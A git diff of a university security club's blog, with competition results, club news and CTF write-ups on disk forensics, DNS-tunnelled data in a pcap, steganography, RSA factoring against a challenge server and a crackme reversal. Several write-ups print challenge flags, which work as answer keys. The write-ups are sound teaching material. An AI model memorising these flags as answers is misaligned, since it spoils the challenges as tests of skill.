NSA Codebreaker Challenge 2018 Results

NSA Codebreaker Challenge 2018 Results

Zander Work

Tags

Screenshot of the NSA Codebreaker Challenge's website scoreboard.

The NSA Codebreaker Challenge finished today, and I’m proud to announce that Oregon State University is the winner! We also had the most people complete Task 5 and 2 people complete Task 7, which is awesome!

For those of you who are unfamiliar with the Codebreaker Challenge, it is a CTF-style event put on every year in the fall by the National Security Agency usually featuring some reverse engineering, vulnerability analysis, and exploit development, along with something unique to keep things interesting. This year, the scenario involved exploiting ransomware developed using Ethereum Smart Contracts, which was something we all had to learn a lot about.

We are hard at work on putting together write-ups for all of the tasks, and hopefully those will be published soon!

\ No newline at end of file diff --git a/static/blog/nsa-codebreaker-challenge-2021-scoreboard.png b/blog/nsa-codebreaker-challenge-2021-scoreboard.png similarity index 100% rename from static/blog/nsa-codebreaker-challenge-2021-scoreboard.png rename to blog/nsa-codebreaker-challenge-2021-scoreboard.png diff --git a/static/blog/nsa-codebreaker-challenge-2021.jpg b/blog/nsa-codebreaker-challenge-2021.jpg similarity index 100% rename from static/blog/nsa-codebreaker-challenge-2021.jpg rename to blog/nsa-codebreaker-challenge-2021.jpg diff --git a/blog/nsa-codebreaker-challenge-2021/index.html b/blog/nsa-codebreaker-challenge-2021/index.html new file mode 100644 index 0000000..212b46e --- /dev/null +++ b/blog/nsa-codebreaker-challenge-2021/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

NSA Codebreaker Challenge 2021

NSA Codebreaker Challenge 2021

Lyell Read

Tags

NSA Codebreaker Challenge logo

On January 4th, 2021, OSUSEC finished 3rd place with 133,337 points at the NSA Codebreaker Challenge. 189 OSU students and OSUSEC members solved at least one of the 11 tasks, and 5 OSU students and OSUSEC members solved all 11.

Screenshot of the scoreboard, showing Oregon State University in 3rd place with 133,337 points.

Some more statistics about the competition are below:

  • Confirmed Public Participants: 5,465
  • Schools Registered: 631
  • Task Completions:
    • Task 0: 3,335
    • Task 1: 2,352
    • Task 2: 1,385
    • Task 3: 1,098
    • Task 4: 778
    • Task 5: 688
    • Task 6: 418
    • Task 7: 196
    • Task 8: 56
    • Task 9: 55
    • Task 10: 42
  • PCAP Downloads: 3,650

This was a great effort from our team over the course of several months. Great work, everyone!!

Note from 2023-07-13, Casey Colley: Lyell Read’s task writeups are located here.

\ No newline at end of file diff --git a/static/blog/nsa-visit.jpg b/blog/nsa-visit.jpg similarity index 100% rename from static/blog/nsa-visit.jpg rename to blog/nsa-visit.jpg diff --git a/blog/nsa-visit/index.html b/blog/nsa-visit/index.html new file mode 100644 index 0000000..a1dea12 --- /dev/null +++ b/blog/nsa-visit/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

NSA Visit

NSA Visit

Zander Work

Tags

Photo of members of the SSH Lab with NSA analsysts

Yesterday the National Security Agency came to meet with some members of the university and give a talk to the OSU Security Club. The visit was a great success and we had over 100 people in attendance for the talk.

The talk was focused around the NSA Codebreaker Challenge, which just started last weekend (Oregon State won last year, and is currently in 2nd place). There was also a long Q&A session following the talk, where club members were able to ask questions about the challenge, in addition to general curiosities about the National Security Agency. The slides for the talk are available here.

Members of the SSH Lab at Oregon State were able to meet with the NSA representatives earlier in the day and talk about some of their ongoing research, amongst other topics (pictured above).

Thanks to the National Security Agency for coming out to Oregon State, and we hope to see you again in the future!

\ No newline at end of file diff --git a/blog/officer-elections-on-3-12/index.html b/blog/officer-elections-on-3-12/index.html new file mode 100644 index 0000000..c40ef0b --- /dev/null +++ b/blog/officer-elections-on-3-12/index.html @@ -0,0 +1,7 @@ + +Codestin Search App

Officer Elections on 3/12

Officer Elections on 3/12

Zander Work

Tags

Next week, we will be having officer elections! This is a great way to get more involved with the club and help represent the College of Engineering. +tl;dr Come vote on Thursday, 3/12 at 7pm in KEC 1003. We will have pizza.

I have been the president of the OSU Security Club for nearly 3 years now, and I have loved every second of it. Being able to work with all of you has had a tremendous impact on my college experience, and I thank each and every one of you for contributing to that. However, this is my last year as president, and I leave my position open to whomever would like to run for it.

This year we had the following officer positions:

  • President: (me)
  • Vice President: Hadi Rahal-Arabi
  • Treasurer: David Park
  • Recruitment/Student Engagement: Alex Rash
  • Lab Manager: Ryan Kennedy
  • Multimedia Coordinator: Adam Stewart

However, these positions can be fluid and can be modified to fit your vision of the club’s future. If this is something you would like to do, please reach out. I know that next year things will be different, but I’m confident that the club will continue on. I will be available to answer questions and advise but I won’t have any formal leadership role next year.

If you would like to run, please do the following:

  • Fill out this form no later than March 11th.
  • Send a slide (one slide) to security.club@oregonstate.edu no later than March 11th:
    • Name
    • Position
    • Info about yourself
    • Qualifications
    • etc.
  • Show up to our meeting on March 12th prepared for the following:
    • Up to 5 minute presentation on why you should be elected for your position
    • Up to 2 minutes Q/A

You must be present to run and/or to vote (if you have a legitimate schedule conflict, please email me, happy to make accommodations where appropriate).

\ No newline at end of file diff --git a/static/blog/osusec-wins-department-of-energy-cyber-defense-competition.jpg b/blog/osusec-wins-department-of-energy-cyber-defense-competition.jpg similarity index 100% rename from static/blog/osusec-wins-department-of-energy-cyber-defense-competition.jpg rename to blog/osusec-wins-department-of-energy-cyber-defense-competition.jpg diff --git a/blog/osusec-wins-department-of-energy-cyber-defense-competition/index.html b/blog/osusec-wins-department-of-energy-cyber-defense-competition/index.html new file mode 100644 index 0000000..baa36c3 --- /dev/null +++ b/blog/osusec-wins-department-of-energy-cyber-defense-competition/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Osusec Wins Department of Energy Cyber Defense Competition

Osusec Wins Department of Energy Cyber Defense Competition

Zander Work

Tags

Victory photo of 6 OSUSEC students, Yeongjin Jang, and the director of the Cyberforce program.

Over the past weekend, OSUSEC competed in the Department of Energy Cyber Defense Competition (DOE CDC), and placed 1st regionally (US West), and 4th nationwide. The team was responsible for deploying multiple Windows and Linux systems and securing them against live attacks for 8 hours.

The members of the team were:

  • Zander Work
  • Zach Rogers
  • Cody Holliday
  • Hadi Rahal-Arabi
  • Khuong Luu
  • Aidan Grimshaw

Great job guys!

\ No newline at end of file diff --git a/static/blog/prccdc-2019-results-everyone.jpg b/blog/prccdc-2019-results-everyone.jpg similarity index 100% rename from static/blog/prccdc-2019-results-everyone.jpg rename to blog/prccdc-2019-results-everyone.jpg diff --git a/static/blog/prccdc-2019-results.jpg b/blog/prccdc-2019-results.jpg similarity index 100% rename from static/blog/prccdc-2019-results.jpg rename to blog/prccdc-2019-results.jpg diff --git a/blog/prccdc-2019-results/index.html b/blog/prccdc-2019-results/index.html new file mode 100644 index 0000000..93d85cb --- /dev/null +++ b/blog/prccdc-2019-results/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

PRCCDC 2019 Results

PRCCDC 2019 Results

Zander Work

Tags

Victory photo of 6 OSUSEC students, with one holding a trophy

This past weekend, OSUSEC competed at the Pacific Rim Collegiate Cyber Defense Competition (PRCCDC) hosted by Highline College. I’m pleased to announce that we placed 3rd out of 13 teams in this tough competition.

PRCCDC is a 2 day competition where each team must secure a mix of approximately 10 Windows and Linux systems, configure a border firewall, monitor and defend against attacks from the Red Team, and work with business users over the phone throughout the event.

&ldquo;Photo of full team for PRCCDC 2019 and Emily Longman&rdquo;

Here’s the full team (from left to right):

  • Emily Longman (Faculty Advisor)
  • Lyell Read
  • Ryan Kennedy
  • Zander Work
  • Hadi Rahal-Arabi
  • Khoung Luu
  • Zach Rogers
  • Curtis Warrick
  • Matt Jansen

For more information on the competition, please see the PRCCDC website.

\ No newline at end of file diff --git a/blog/prccdc-2020-results/index.html b/blog/prccdc-2020-results/index.html new file mode 100644 index 0000000..0a89157 --- /dev/null +++ b/blog/prccdc-2020-results/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

PRCCDC 2020 Results

PRCCDC 2020 Results

Zander Work

Tags

Due to the current COVID-19 pandemic, the in-person Pacific Rim Collegiate Cyber Defense Competition (PRCCDC) was unfortunately cancelled. However, PRCCDC, working in combination with NCCDC, allowed all of the Pacific Rim teams to compete in the National Wildcard Event, which was held online on April 11th, 2020.

I am pleased to announce that OSUSEC placed 2nd in the PRCCDC division (out of 12 teams), and 9th overall (out of 26 teams)! It was a 4 hour event where teams secured 8 machines (4 Windows and 4 Linux) for a variety of security and policy issues.

Here is the team for this event

  • Ryan Kennedy (captain)
  • Zander Work
  • Lyell Read
  • Gabriel Kulp
  • Michael Jereza
  • Andrew Dassonville
  • Phillip Mestas
  • Stan Lyakhov

Congrats to the team!

\ No newline at end of file diff --git a/static/blog/prccdc-2023.jpg b/blog/prccdc-2023.jpg similarity index 100% rename from static/blog/prccdc-2023.jpg rename to blog/prccdc-2023.jpg diff --git a/blog/prccdc-2023/index.html b/blog/prccdc-2023/index.html new file mode 100644 index 0000000..0f91137 --- /dev/null +++ b/blog/prccdc-2023/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

PRCCDC 2023

PRCCDC 2023

Casey Colley

Tags

Members of OSUSEC’s CDC Team

This past weekend, OSUSEC’s Cyber Defense team competed in PRCCDC, our regional Collegiate Cyber Defense Competition. The competition required us to secure and administer a handful of networks full of virtual machines hosting common business services, as well as continuously respond to IT request tickets and deliver professional reports to supervisors. Students are tested not only on their cybersecurity skills, but also on their time management and interpersonal skills. OSUSEC walked away with 1st place, and will be attending NCCDC (Nationals) at the end of April! Last year was OSUSEC’s first time attending Nationals, and we are delighted to continue to represent OSU cybersecurity this year!

Finally, we would like to thank Andrea Ballinger, head of OSU’s Information Technology department, for very generously sponsoring OSUSEC’s trip to Washington in order to compete!! We couldn’t have done it without the support!

The team consisted of Julie Weber, Mike Carris, Matt Jansen, Evan Mrazik, Otso Barron, Ayden Murphy-Kirsch, Casey Colley, and Brandon Ellis, and was chaperoned by Emily Longman.

\ No newline at end of file diff --git a/blog/prccdc-2024-funny.jpg b/blog/prccdc-2024-funny.jpg new file mode 100644 index 0000000..5aff469 Binary files /dev/null and b/blog/prccdc-2024-funny.jpg differ diff --git a/blog/prccdc-2024.jpg b/blog/prccdc-2024.jpg new file mode 100644 index 0000000..a1b30d2 Binary files /dev/null and b/blog/prccdc-2024.jpg differ diff --git a/blog/prccdc-2024/index.html b/blog/prccdc-2024/index.html new file mode 100644 index 0000000..393a7e9 --- /dev/null +++ b/blog/prccdc-2024/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

PRCCDC 2024

PRCCDC 2024

Casey Colley

Tags

Members of OSUSEC’s CDC Team holding the travelling trophy

We are delighted to announce that OSUSEC’s Cyber Defense team won first place in PRCCDC 2024 last week!! This is our third year in a row, and we’re really looking forward to competing in Nationals in San Antonio later this month. We are excited to continue to represent OSU cybersecurity for another year!

CCDC requires us to secure and administer a handful of networks full of virtual machines hosting common business services, as well as continuously respond to IT request tickets and deliver professional reports to supervisors. Students are tested not only on their cybersecurity skills, but also on their time management and interpersonal skills.

The team consists of Matthew Simoes, Abigail Whittle, Lucas Ball, Otso Barron, Jake Johanson, Lucas Stephens, Grace Parrish, and Casey Colley. Thank you Brandon Ellis for coaching us this season! Great work team!!

Picture of the team pouring from the trophy&rsquo;s cup

\ No newline at end of file diff --git a/static/blog/tamuctf-alcapone.jpg b/blog/tamuctf-alcapone.jpg similarity index 100% rename from static/blog/tamuctf-alcapone.jpg rename to blog/tamuctf-alcapone.jpg diff --git a/blog/tamuctf-alcapone/index.html b/blog/tamuctf-alcapone/index.html new file mode 100644 index 0000000..a168562 --- /dev/null +++ b/blog/tamuctf-alcapone/index.html @@ -0,0 +1,17 @@ + +Codestin Search App

TAMUCTF - ALCAPONE

TAMUCTF - ALCAPONE

Lyell Read

Tags

TAMUCTF Logo

Prompt

Eliot Ness is the lead on taking down Al Capone. He has gained access to Capone’s personal computer but being the good detective he is, he got the disk image of the computer rather than look through the actual computer. Can you help Ness out and find any information to take down the mob boss?

(hint: Al Capone knew his computer was going to be taken soon, so he deleted all important data to ensure no one could see it. Little did he know that Ness was smarter than him.)

Direct Download link: https://tamuctf.com/themes/core/static/img/WindowsXP.img.xz

Unintended Solution

Um… strings?

strings WindowsXP.img | grep 'gigem{'
+oigigem{Ch4Nn3l_1Nn3R_3l10t_N3$$}khsutrghsiserg
+oigigem{Ch4Nn3l_1Nn3R_3l10t_N3$$}khsutrghsiserg
+oigigem{Ch4Nn3l_1Nn3R_3l10t_N3$$}khsutrghsiserg
+gigem{Ch4Nn3l_1nN3r_3Li0t_N3$$}
+

More Intended Solution

I installed Autopsy, and opened the image file. Given the hint about the files having be deleted, we can look through the recycling bin and extract all the flag??.txt files (and those from the Administrator’s Desktop) to flags.zip. Then:

unzip flags.txt
+cd flags
+for x in ./*; do strings $x | grep 'gigem{'; done
+oigigem{Ch4Nn3l_1Nn3R_3l10t_N3$$}khsutrghsiserg
+oigigem{Ch4Nn3l_1Nn3R_3l10t_N3$$}khsutrghsiserg
+
gigem{Ch4Nn3l_1Nn3R_3l10t_N3$$}
+

~Lyell Read

\ No newline at end of file diff --git a/static/blog/tamuctf-geography-google-earth.png b/blog/tamuctf-geography-google-earth.png similarity index 100% rename from static/blog/tamuctf-geography-google-earth.png rename to blog/tamuctf-geography-google-earth.png diff --git a/static/blog/tamuctf-geography.jpg b/blog/tamuctf-geography.jpg similarity index 100% rename from static/blog/tamuctf-geography.jpg rename to blog/tamuctf-geography.jpg diff --git a/blog/tamuctf-geography/index.html b/blog/tamuctf-geography/index.html new file mode 100644 index 0000000..2aa4151 --- /dev/null +++ b/blog/tamuctf-geography/index.html @@ -0,0 +1,14 @@ + +Codestin Search App

TAMUCTF - GEOGRAPHY

TAMUCTF - GEOGRAPHY

Lyell Read

Tags

TAMUCTF logo

Prompt

My friend told me that she found something cool on the Internet, but all she sent me was 11000010100011000111111111101110 and 11000001100101000011101111011111.

She’s always been a bit cryptic. She told me to “surround with gigem{} that which can be seen from a bird’s eye view”… what?

Solution

Ok. We know that we need to somehow interpret those binary strings as coordinate(s) to get a location that we can look at from “bird’s eye view” (presumably on Google Maps).

I went through many trials of this, from converting the bits to { string, hex, decimal, octal } and using those as coordinates, and calculating geohashes { http://geohash.co/, https://www.dcode.fr/geohash-coordinates } to get locations out of these things, all to end up with locations in the Pacific or in Russia or Antarctica, with nothing at all there. Coincidentally, I was sure that each set of bits corresponded to a pair of coordinates (latitude and longitude), so I would get a line that I needed to read along (or something) between those points, from a “bird’s eye view”.

OK, those were wrong, so back to basics. I googled “binary string length 32 coordinates geographical”, leading me to this article. In it, user arjanvanb describes:

In decimal degrees, a longitude with 4 decimals, -180.0000…+180.0000 might need 9 bytes when sending as plain characters (or 8 when leaving out the decimal dot), and probably another byte for some separator. But it also nicely fits in 3 bytes (like -8,388,608 to 8,388,607 as a 24 bit signed integer if you first multiply by 10,000). When one needs more decimals, using 4 bytes for a standard 32 bit float [59], or multiplying by 100,000 and sending as a standard 32 bit signed long [41], will give more than 7 decimals.

Thank you, Arjan! From that, I tried converting these 32-bit binary strings into floats using IEEE 754 Converter and I got:

11000010100011000111111111101110 : -70.24986
+11000001100101000011101111011111 : -18.529234
+

When ordered (-70.24986, -18.529234), we get this spot, in the middle of the ocean, above Antarcitca… Nothing doing.

However, when ordered the other way, (-18.529234, -70.24986), we come across this spot, at 18°31’45.2″S, 70°14’59.5″W.

Screenshot of Google Earth featuring the Coca-Cola logo

Thanks to the TAMUCTF organizers for being reasonable and providing the flag once I proved I got the right location, as I would have had to try a bunch of possibilities:

gigem{CocaCola125anos}
+gigem{cocacola125anos}
+gigem{coca-cola-125-anos}
+gigem{Coca-Cola-125-anos}
+...
+

To get the flag:

gigem{coca-cola}
+

~Lyell Read

\ No newline at end of file diff --git a/blog/tamuctf-rsapwn/index.html b/blog/tamuctf-rsapwn/index.html new file mode 100644 index 0000000..ae8b8e5 --- /dev/null +++ b/blog/tamuctf-rsapwn/index.html @@ -0,0 +1,15 @@ + +Codestin Search App

TAMUCTF RSAPWN

TAMUCTF RSAPWN

Lyell Read

Tags

TAMUCTF logo

Prompt

We must train the next generation of hackers.

nc challenges.tamuctf.com 8573

Solution

It looks like this just asks us to find the two “big prime” factors of the number provided, and return them. Athos’ script does exactly that:

python3 ./exploit.py 
+[+] Opening connection to challenges.tamuctf.com on port 8573: Done
+b'We must train future hackers to break RSA quickly. Here is how this will work.\nI will multiply together two big primes (<= 10000000), give you the result,\nand you must reply to me in less than two seconds telling me what primes I\nmultiplied.\n\nPress enter when you are ready.\n'
+num b'99981300873901'
+9999083 9999047
+b'Good job :)'
+b'gigem{g00d_job_yOu_h4aaxx0rrR}'
+b''
+

Nice!

gigem{g00d_job_yOu_h4aaxx0rrR}
+

~Athos, Lyell Read

\ No newline at end of file diff --git a/static/blog/tamuctf-russian_nesting_dolls-flag.png b/blog/tamuctf-russian_nesting_dolls-flag.png similarity index 100% rename from static/blog/tamuctf-russian_nesting_dolls-flag.png rename to blog/tamuctf-russian_nesting_dolls-flag.png diff --git a/static/blog/tamuctf-russian_nesting_dolls-shark.jpg b/blog/tamuctf-russian_nesting_dolls-shark.jpg similarity index 100% rename from static/blog/tamuctf-russian_nesting_dolls-shark.jpg rename to blog/tamuctf-russian_nesting_dolls-shark.jpg diff --git a/static/blog/tamuctf-russian_nesting_dolls.jpg b/blog/tamuctf-russian_nesting_dolls.jpg similarity index 100% rename from static/blog/tamuctf-russian_nesting_dolls.jpg rename to blog/tamuctf-russian_nesting_dolls.jpg diff --git a/blog/tamuctf-russian_nesting_dolls/index.html b/blog/tamuctf-russian_nesting_dolls/index.html new file mode 100644 index 0000000..1a2b0f3 --- /dev/null +++ b/blog/tamuctf-russian_nesting_dolls/index.html @@ -0,0 +1,54 @@ + +Codestin Search App

TAMUCTF - RUSSIAN_NESTING_DOLLS

TAMUCTF - RUSSIAN_NESTING_DOLLS

Lyell Read

Tags

TAMUCTF logo

Prompt

Our monitoring systems noticed some funny-looking DNS traffic on one of our computers. We have the network logs from around the time of the incident. Want to take a look?

Files: netlogs.pcap

Solution

Opening the PCAP up in wireshark shows that there are quite a few (37991) DNS packets, as well as a smattring of others (Statistics > Protocol Hierarchy). Let’s look at the remaining packets first, as there are only a few of them:

  • There’s 1 mDNS packet, which appears to have no consequence.
  • There are 8 DHCP packets that also appear inconsequential
  • There are quite a few FTP packets, from which we can glean a username and password goodag and howdy respectively.
  • There are 3 FTP-DATA packets, which include a PGP Public and Private keys, as well as a directory listing (see below).

PGP Public Key PGP Private Key Directory Listing:

drwxr-xr-x    2 1000     1000         4096 Nov 26 21:37 Desktop
+drwxr-xr-x    2 1000     1000         4096 Nov 26 21:37 Documents
+drwxr-xr-x    2 1000     1000         4096 Nov 26 21:37 Downloads
+drwxr-xr-x    2 1000     1000         4096 Nov 26 21:37 Music
+drwxr-xr-x    2 1000     1000         4096 Nov 26 21:37 Pictures
+drwxr-xr-x    2 1000     1000         4096 Nov 26 21:37 Public
+drwxr-xr-x    2 1000     1000         4096 Nov 26 21:37 Templates
+drwxr-xr-x    2 1000     1000         4096 Nov 26 21:37 Videos
+-rw-r--r--    1 1000     1000         8980 Nov 24 21:15 examples.desktop
+-rw-------    1 1000     1000         3589 Nov 27 03:20 priv
+-rw-------    1 1000     1000         1698 Nov 27 03:20 pub
+

This directory listing does not look to have much interesting to it, but the PGP keys do.

Now we turned our attention to the 37991 DNS packets. These each contain a query to a site in the format x6U3gvbExVWkk4U1gzWVU2L2FnRVNYMW5ZTHRjZ0d5b1NiNENYNlFOTVE-tamu1e100net, where the prefix (x6U3gvbExVWkk4U1gzWVU2L2FnRVNYMW5ZTHRjZ0d5b1NiNENYNlFOTVE) looks to be base64 data, and these packets are all in a sequence.

Let’s look at the first packet: it contains base64 data LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IEdudVBHI that decodes to

-----BEGIN PGP MESSAGE-----
+Version: GnuPG
+

This script extracts all that data (and ignores repeated packets and mDNS packet) and contactenates it into message.pgp.

Then, we need to remove the second layer of nested doll, and extract the message:

$ gpg --import public-key 
+gpg: key 18ABAFED3849EB2E: "Ol' Rock <olrock@aggie.network>" not changed
+gpg: Total number processed: 1
+gpg:              unchanged: 1
+
+$ gpg --import private-key 
+gpg: key 18ABAFED3849EB2E: "Ol' Rock <olrock@aggie.network>" not changed
+gpg: key 18ABAFED3849EB2E: secret key imported
+gpg: Total number processed: 1
+gpg:              unchanged: 1
+gpg:       secret keys read: 1
+gpg:  secret keys unchanged: 1
+
+$ gpg --output out --decrypt message.pgp
+gpg: encrypted with 2048-bit RSA key, ID C5372B2EB5E56F58, created 2019-11-27
+      "Ol' Rock <olrock@aggie.network>"
+

To decrypt, the password howdy is used when prompted. We get out, which file tells us is a gzip archive.

cp out out.gz
+gunzip -c out.gz > ./out-2
+

This creates out-2, which again is passed to file which tells us it is a tar archive.

cp out-2 out-2.tar
+tar -xvf out-2.tar 
+

This extraction creates a bunch of weird files:

./..........encoded
+./...encoded
+./....encoded
+./.....encoded
+./.......encoded
+./......encoded
+./...........encoded
+./........encoded
+./............encoded
+./.........encoded
+

Funky! Let’s see what these are. They are each about 156K large (they seem to have 157696 characers each), and all contain data that looks like more base64 data. To make sense of these, we put them into CyberChef, and looked for any indication of what these were. Of all of them, we identified that ……..encoded starts with jpeg magic bytes. Cyber Chef Link. We convert this to a jpeg using an online tool, and get 8dot_out.jpg:

Photo of a shark

That may look like a shark, but it’s actually a nesting doll (what do you know!). I use stegsolve to examine the image. In stegsolve, under Analyze > File Format (which you know has something interesting when stegsolve hangs for a second when opening), we can see that, indeed, there’s quite a bit here:

End of Image 
+Additional bytes at end of file = 57524 
+Dump of additional bytes: Hex: 
+89504e470d0a1a0a
+

89 50 4e … That looks like PNG Magic Bytes :). We need to chop the PNG off the end of this JPG, we do that using extract_png.py, and we get out.png.

MS Paint drawing with the flag written out

gigem{dont_you_just_love_a_good_pcap?}
+

~CaptainGeech, Lyell Read

\ No newline at end of file diff --git a/static/blog/tamuctf-woof_woof.jpg b/blog/tamuctf-woof_woof.jpg similarity index 100% rename from static/blog/tamuctf-woof_woof.jpg rename to blog/tamuctf-woof_woof.jpg diff --git a/blog/tamuctf-woof_woof/index.html b/blog/tamuctf-woof_woof/index.html new file mode 100644 index 0000000..26247ee --- /dev/null +++ b/blog/tamuctf-woof_woof/index.html @@ -0,0 +1,11 @@ + +Codestin Search App

TAMUCTF - WOOF_WOOF

TAMUCTF - WOOF_WOOF

Lyell Read

Tags

TAMUCTF logo

Prompt

(I did not get the prompt text in time, and admin closed access to the challs when the CTF ended :()

The instructions mentioned charset A-Z and ‘-‘ and ‘@’, with flag format GIGEM-....

reveille.png

Solution

After running strings on the image to no result, we open this image up in stegsolve, and examine the file format Analyze > File Format. We see the usual stuff, except for:

Comment data Length: 1aa (426) Dump of data: Hex: 01aa776f6f662077 6f6f66206261726b 2072756666206261 726b206261726b20 7275666620776f6f 6620776f6f662062 61726b2072756666 206261726b207275 666620776f6f6620 776f6f6620727566 6620776f6f662062 61726b206261726b 206261726b206261 726b20776f6f6620 7275666620776f6f 66206261726b2062 61726b2072756666 20776f6f6620776f 6f6620776f6f6620 776f6f6620776f6f 6620727566662077 6f6f6620776f6f66 206261726b207275 666620776f6f6620 7275666620626172 6b20776f6f662077 6f6f66206261726b 20776f6f66206261 726b207275666620 6261726b20626172 6b206261726b2072 75666620776f6f66 2072756666206261 726b20776f6f6620 776f6f6620776f6f 6620776f6f662072 75666620776f6f66 206261726b20776f 6f66206261726b20 7275666620626172 6b20776f6f662077 6f6f6620776f6f66 207275666620776f 6f6620776f6f6620 776f6f6620776f6f 6620776f6f662072 75666620776f6f66 206261726b206261 726b206261726b20 7275666620776f6f 66206261726b2062 61726b206261726b 206261726b20776f 6f66 Ascii: ..woof w oof bark ruff ba rk bark ruff woo f woof b ark ruff bark ru ff woof woof ruf f woof b ark bark bark ba rk woof ruff woo f bark b ark ruff woof wo of woof woof woo f ruff w oof woof bark ru ff woof ruff bar k woof w oof bark woof ba rk ruff bark bar k bark r uff woof ruff ba rk woof woof woo f woof r uff woof bark wo of bark ruff bar k woof w oof woof ruff wo of woof woof woo f woof r uff woof bark ba rk bark ruff woo f bark b ark bark bark wo of
+

Interesting. Let’s clean that up in a text editor…

woof woof bark ruff bark bark ruff woof woof bark ruff bark ruff woof woof ruff woof bark bark bark bark woof ruff woof bark bark ruff woof woof woof woof woof ruff woof woof bark ruff woof ruff bark woof woof bark woof bark ruff bark bark bark ruff woof ruff bark woof woof woof woof ruff woof bark woof bark ruff bark woof woof woof ruff woof woof woof woof woof ruff woof bark bark bark ruff woof bark bark bark bark woof 
+

I’ve been waiting for a challenge in morse for a long time, so I immediately tested it for morse code. To be a candidate, it must have 3 different ‘things’ and one of those as a delineator, which can only occur once at a time.

The first character of our flags is G, and morse G is --.. Great! We now know that woof = -, bark = ., ruff = delineator. Let’s convert that out:

--. .. --. . -- -....- -.. ----- --. - .--.-. ... - .---- -.-. .--- ----- -... -....-
+

Next, we use an online tool to convert that morse to the following text:

gigem?d0gt?st1cj0b?
+

We know that the first ? must be a - because of the flag fomat given, and the last ? is the same morse character, so that one is too. The middle ? is a different morse code, though, so it must be the last letter of our charset, @.

GIGEM-D0GT@ST1CJ0B-
+

~Lyell Read

\ No newline at end of file diff --git a/blog/thank-you/index.html b/blog/thank-you/index.html new file mode 100644 index 0000000..8613133 --- /dev/null +++ b/blog/thank-you/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Thank You

Thank You

Zander Work

Tags

Being your club president for the last 3 years has been an incredible experience. Back in Fall 2017 when I first came to OSU, the club had maybe 20-30 members and wasn’t involved in CTF or CDC at all. Now, we’ve reached nearly 300 members, play CTF nearly every weekend, and have many 1st place and top 3 finishes in CDC, not to mention our incredible 1st and 3rd place finishes in the NSA Codebreaker Challenge. I never could have dreamed what this club has become when I was a freshman, and it’s largely due to the incredible support of Dr. Yeongjin Jang and the CDC team in April 2018 that helped land us on the map at OSU and laid the groundwork for us to build a large security culture, especially at the undergraduate level. We’ve come a long ways, and have even hosted our own CTF event (P.S. stay tuned for more info on the next DamCTF). Our numerous accomplishments (https://www.osusec.org/accomplishments/) impress me everyday and I am incredibly excited to see what happens next year.

Since I’m not graduating this year, I will still be helping to run the CTF and CDC teams (and contributing to DamCTF) but it will be a year of transition, to bring our newer members up into more leadership roles and help establish a solid group for CDC and CTF for once I’ve left. This year we’ve had a lot of new members get involved in CTF and CDC and I have no doubt this will be an easy transition.

Hadi and Lyell (along with Ryan, Mike, Sierra, and Alex) will do amazing things for the club next year, and I’m looking forward to seeing it.

Happy hacking everyone.

\ No newline at end of file diff --git a/static/blog/utctf-2019-crackme-ctfd.png b/blog/utctf-2019-crackme-ctfd.png similarity index 100% rename from static/blog/utctf-2019-crackme-ctfd.png rename to blog/utctf-2019-crackme-ctfd.png diff --git a/static/blog/utctf-2019-crackme-decompilation.png b/blog/utctf-2019-crackme-decompilation.png similarity index 100% rename from static/blog/utctf-2019-crackme-decompilation.png rename to blog/utctf-2019-crackme-decompilation.png diff --git a/static/blog/utctf-2019-crackme-fastcall_divide.png b/blog/utctf-2019-crackme-fastcall_divide.png similarity index 100% rename from static/blog/utctf-2019-crackme-fastcall_divide.png rename to blog/utctf-2019-crackme-fastcall_divide.png diff --git a/static/blog/utctf-2019-crackme-newmain.png b/blog/utctf-2019-crackme-newmain.png similarity index 100% rename from static/blog/utctf-2019-crackme-newmain.png rename to blog/utctf-2019-crackme-newmain.png diff --git a/static/blog/utctf-2019-crackme-ptrace.png b/blog/utctf-2019-crackme-ptrace.png similarity index 100% rename from static/blog/utctf-2019-crackme-ptrace.png rename to blog/utctf-2019-crackme-ptrace.png diff --git a/blog/utctf-2019-crackme/index.html b/blog/utctf-2019-crackme/index.html new file mode 100644 index 0000000..d75b0b3 --- /dev/null +++ b/blog/utctf-2019-crackme/index.html @@ -0,0 +1,47 @@ + +Codestin Search App

UTCTF 2019 - Crackme

UTCTF 2019 - Crackme

Zander Work

Tags

This was a 1200 point reversing challenge (tied for highest point value in the category). Here’s the description:

Screenshot of UTCTF&rsquo;s CTFd for the Crackme challenge

This what we see when we run the binary:

$ ./crackme
+Please enter the correct password.
+>pls
+Incorrect password. utflag{wrong_password_btw_this_is_not_the_flag_and_if_you_submit_this_i_will_judge_you}
+

Let’s take a look at the code in IDA Pro:

Screenshot of main decompliation in IDA Pro

Here’s what the decompilation shows:

  • Read in 64 bytes from stdin
  • Call divide(32, 0), and save the return value to v4
  • xor our input at index v4 with 8
  • Replace a few characters of our input with ‘D’
  • xor each character in our input with 0x27

Now we see “stuff[j] = stuff2[202 – j] ^ (stuff[j] – 1);”. stuff and stuff2 live in the .data section (along with test). The loop applies that operation to each of the first 202 bytes of stuff (there are some null bytes afterwards for padding), and then calls it. This is quite cool, and not something I have seen in a reversing challenge before. The binary is modifying it’s own data to create a new function, and then execute it to add additional layers of obfuscation.

Before I start working through that obfuscated function, I took a look at divide():

Screenshot of IDA Pro decompilation of the divide function

Based on the function call “divide(32, 0)”, it does indeed do a divide by zero, which throws an exception, further messing with our debugging and analysis. I ended up just skipping it and not worrying about it, which worked out in the end.

In order to analyze that obfuscated function in .data, I needed to do a few things:

Extract stuff and stuff2 from the binary
+Write a program to apply the deobfuscation to stuff
+Disassemble/decompile the resulting function for analysis
+

I used gdb to get extract the two variables. Here’s what that looks like for stuff:

$ gdb crackme
+Reading symbols from crackme…(no debugging symbols found)…done.
+gdb-peda$ x/52x &stuff
+0x602090 :   0xed592513      0x908d3643      0x6bd01bc6      0xc3112c86
+0x6020a0 :   0xb55cd9d3      0x92a40224      0x4566fb3a      0x74a5731d
+0x6020b0 :   0xccea82e8      0xd125398a      0x2a5105e7      0x67b7a235
+0x6020c0 :   0x99a1886b      0xf224a523      0x06eb4f61      0x816685bd
+0x6020d0 :   0xd979c55b      0x841c39e4      0xb7c6288c      0xc599716e
